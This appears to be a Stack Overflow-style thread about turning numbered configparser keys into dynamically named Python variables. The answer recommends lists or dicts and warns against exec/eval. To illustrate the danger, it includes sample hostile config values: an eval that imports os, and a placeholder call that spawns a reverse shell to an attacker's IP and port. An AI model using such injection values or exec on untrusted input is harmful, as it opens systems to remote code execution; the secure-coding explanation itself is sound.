I've seen a lot of similar questions but I don't think this is a duplicate since I haven't found any specific solutions for this. Most similar threads is pretty much saying not to do it this way at all, and use another method instead, but I think I don't have much choise in my case, will try to explain with some example-code below. My question is as follows:
Let's say I have a variable called folder1, that contains the value to a path of a given key in a configurationfile, I then want to let the user optionally add more folders to the configurationfile, and automatically assign that value to a new variable called folder2, folder3 etc.
Let's pretend I have a config.ini that looks like this
[Default]
folder1 = /var/www/example.com
folder2 = /var/www/example2.com
folder3 = /var/www/example3.com
webserver = nginx
some_other_stuff = Hello world!
And my script looks like this
import configparser
config = configparser.ConfigParser()
config.read("config.ini")
# Here i would like to assign variables for each value of the keys in the ini-file
folder1 = config["Default"]["folder1"]
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
# Here i would like something like var{num} = folder{num}
globals()[f"folder{num}"] = config["Default"][f"folder{num}"]
webserver = config["Default"]["webserver"]
some_other_stuff = config["Default"]["some_other_stuff"]
print(f"Folder 1 is {folder1}, webserver is {webserver}, and some other stuff is {some_other_stuff}")
# print(folder2) --> NameError: name 'folder2' is not defined. Did you mean: 'folder1'?
It's sort of self-explaining what I'm trying to accomplish, but since nothing I've tried so far worked, I tried to get around it using another method, that gives me other problems instead (and are way messier to type, considering I have tons of different configurationoptions like this and want to easily be able to compare values etc..
folders_list = []
for num in range(1, 11):
if config.has_option("Default", f"folder{num}"):
folders_list.append(f"folder{num}")
# Printing one folder work:
print(config["Default"][folders_list[0]])
# And printing a range "sort of" works as long as you know the number of folders created on beforehand
# But i would like to let the user add up to 10 paths optionally without needing to change the code
for num in range(0, 3):
print(f'{config["Default"][folders_list[num-1]]}')
As explained, this way of typing is very hard to keep track of in my opinion compared to just storing each value in it's own variable if I need to do a lot of comparing-operations on these, and also this doesn't really work well if I want the user to optionally add any amount of folders (up to 10) in the configfile and not having to edit the sourcecode itself. I also noted that using this method will mess up things if I try to do things based on the len of folders_list.
if len(folders_list) >= 2:
print(config["Default"][folders_list[0]])
#else:
#print(config["Default"][folders_list[0:len(folders_list) -1]]) --> AttributeError: 'list' object has no attribute 'lower'
Thanks on beforehand!
CodePudding user response:
I'm elaborating here to my comment:
The nearest possible thing you will reach easily, is to assign your folders either to a dictionary and use numeric keys, or add them to a list.
...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
# Add folder to a list and it's index will be your numeric key
folder_list.append(config["Default"][f"folder{num}"])
# Add folder to a dict and give it a numeric key
folder_dict[num] = config["Default"][f"folder{num}"]
I get your point, that it's not supporting the readability of your code when having to use so many indices. One solution coming to my mind would create a class. But all things you're trying to make your code more readable make things more complicated in the background, I guess.
Using a class
class Config:
def __init__(self, config):
self.config = config
def folder(self, index: int) -> str:
key = f"folder{index}"
try:
return self.config["Default"][key]
except:
raise KeyError(f"Key {key} does not exist")
config = configparser.ConfigParser()
conf = Config(config)
# Accessing your folders:
print("Folder 1:", conf.folder(1))
print("Folder 2:", conf.folder(2))
# and so on
But this, although it might look better, makes not much sense imho, as it's too much for such a simple task of handling data, which is represented best via a dictionary or whatever the type of the output of configparser.ConfigParser()
is.
What you want and why it's a bad idea: If I understand it correctly, you want to assign variables at runtime. There arise two problems.
The first one is, that you're creating variables at runtime, thus you don't know what happens in your code. You don't know exactly how many variables like var_1, var_2, etc.
you have in your code. How will you access a variable if you don't know if it exists? That's why dictionaries are so handy in such cases. With attributes like dict.values(), dict.items(), dict.keys(), ...
you have at every time an overview on its contents.
Furthermore, if you define variables at runtime, you cannot use them whilst programming. If you use for example var_3 == var_4
to compare data, but you define var_3
and var_4
at runtime, Python won't run, as both variables are not (yet) defined and throws a NameError
:
NameError: name 'var_4' is not defined
You can solve this problem by putting such statements also into exec()
or more likely eval()
, but that makes things complicated and ugly.
The second one is the security, which I have discussed here already.
You can create custom named variables at runtime like so:
...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
stmt = f'var_{num} = config["Default"][f"folder{num}"]'
exec(stmt)
This creates a variable var_2, var_3, ...
at each iteration and assigns the folder to it. But as written in the linked answer, exec is dangerous when handling user input. If only you have access to your config file, this might be a reasonable risk and only problem (1) might annoy you. But there's a high risk if others have access, or you're creating sth like a web application, where attackers might gain access to your machine and thus get access to your config file.
In this specific case, I don't think that an attack like in the linked answer can be started, because you're reading a string from the config and the configparser correctly escapes/encloses your string, so that it cannot be evaluated as a statement. But if the configparser would not do this correctly, your application would get a security hole does not exist because of needed functionality but because of overcomplicated misuse of builtin methods(eval()
/ exec()
)
When for example your config file get's changed to sth like this, the command will not be executed, but using exec/eval this can be the case and it's not that easy to have all possibilities in mind to exploit exec/eval. Therefore, it's very common to do not use them, especially when they will get in touch with data which you have not 100% under your control.
[Default]
...
folder4 = eval('''exec("""import os""") or os.uname()''')
# or
folder5 = spawn_reverse_shell(<attacker ip>, <attacker port>)
Such attacks are different for different applications and depend on the handling of the data/the existence of eval/exec. But if this could be exploited, an attacker could import any existing modules and run code.